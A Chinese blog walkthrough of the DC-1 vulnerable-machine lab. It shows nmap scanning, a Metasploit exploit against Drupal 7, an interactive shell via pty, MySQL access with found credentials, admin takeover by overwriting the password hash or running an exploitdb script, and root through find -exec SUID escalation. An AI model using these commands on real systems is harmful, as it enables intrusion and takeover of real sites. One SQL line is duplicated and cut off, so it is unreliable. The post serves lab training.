0
点赞
收藏
分享

微信扫一扫

DC-1 靶机渗透测试(拿shell,提权)

Alex富贵 2022-03-17 阅读 25

目录

一. 环境

二. 信息收集

1. 主机发现

2.访问 192.168.1.184:80

三. 利用msfconsole 攻击(拿到flag1)

1. 漏洞利用成功

2. 进入会话 ,拿到flag1.txt  ---shell

​ 四. 找到配置文件,获取flag2

 五. 修改管理员密码,登录网站,拿到flag3

1. 获取交互式shell, 执行MySQL语句

 2. 查看管理员用户

 3. 修改管理员密码

 六. 用find语句,找到flag4

七. SUID提权,获取最后的flag


一. 环境

靶机:192.168.1.184

攻击机kali:192.168.1.98

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集

1. 主机发现

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机

2. nmap -sn 192.168.1.0/24 或者 nmap -sP 192.168.1.0/24  #主机发现/主机探测 

3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口

  -A 全面系统检测、启用脚本检测、扫描等
  -sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

发现了靶机IP 192.168.1.184 及 80端口开放 

2.访问 192.168.1.184:80

发现网站是Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本

三. 利用msfconsole 攻击(拿到flag1)

1. 漏洞利用成功

1. search drupal  #查找drupal的漏洞

2. use 2     #利用第2个龙洞

3. show options   #显示详情

4. set rhosts 192.168.1.184 # 设置靶机地址

5. run 或 exploit  # 开始攻击

  攻击成功后

6. pwd   # 查看当前路径

2. 进入会话 ,拿到flag1.txt  ---shell

四. 找到配置文件,获取flag2

根据提示:Every good CMS needs a config file - and so do you.

                 每一个好的CMS都需要一个配置文件——你也一样。  

 五. 修改管理员密码,登录网站,拿到flag3

1. 获取交互式shell, 执行MySQL语句

flag2提示:最好不要用暴力破解、数据库账号密码

操作发现账号密码无法直接登录mysql,利用netstat -ano    #查看端口情况 ,查看到3306端口只允许本地访问,而3306是mysql的默认端口,由此判断我们要获取一个交互式shell,目的是为了进入数据库,执行mysql语句

netstat -ano    #查看端口情况 

python -c 'import pty;pty.spawn("/bin/bash")'   #获取交互式shell,使其可执行MySQL语句

mysql -udbuser -pR0ck3t    #登录MySQL

 2. 查看管理员用户

show databases;  #显示所有数据库

use drupaldb;    #选择当前数据库为dr库

show tables;     #显示所以数据表

select * from users;   #显示users表中所有内容,查找管理员账户

 3. 修改管理员密码

方法1: 增加一个管理员

 查看Drupal版本,确定Drupal版本为7.24;在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

cat /var/www/includes/bootstrap.inc | grep VERSION  #查看版本信息
searchsploit drupal #查看该版本drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2  -p  admin2   #增加管理员用户

方法2: 用drupal的加密脚本加密,脚本在根目录下的scripts

重新进入交互式shell,然后两段cd回到根目录,然后获得hash码

1. python -c 'import pty; pty.spawn("/bin/bash")'  #重新取得交互式shell
2. php scripts/password-hash.sh admin1   #后面你设置的密码
  
重新进入数据库改密码
3. mysql -udbuser -pR0ck3t  #重新进入MYSQL
4. use drupaldb;  进入数据库
5. update drupaldb.users set pass="$S$DaBKN3LqPTjspZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";
6. <spZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin"; 

注意: pass后面跟你的加密密码明文,第二段为$后第十二个字开始输

 登录账号 admin 密码 admin1,找到flag3

 六. 用find语句,找到flag4

find / | grep "flag*"

 

七. SUID提权,获取最后的flag

 falg4提示:Can you use this same method to find or access the flag in root?

1. find shell  -exec "/bin/sh" \;   #提权 (当前目录有shell文件)
    或者  find / -name shell -exec "/bin/sh" \; 
          name指定shell文件也可以touch自己创一个,/bin/sh调用shell
2. whoami #查看权限
3. cd /root #进入root
4. ls #列出文件
5. cat thefinalflag.txt #查看

举报

相关推荐

0 条评论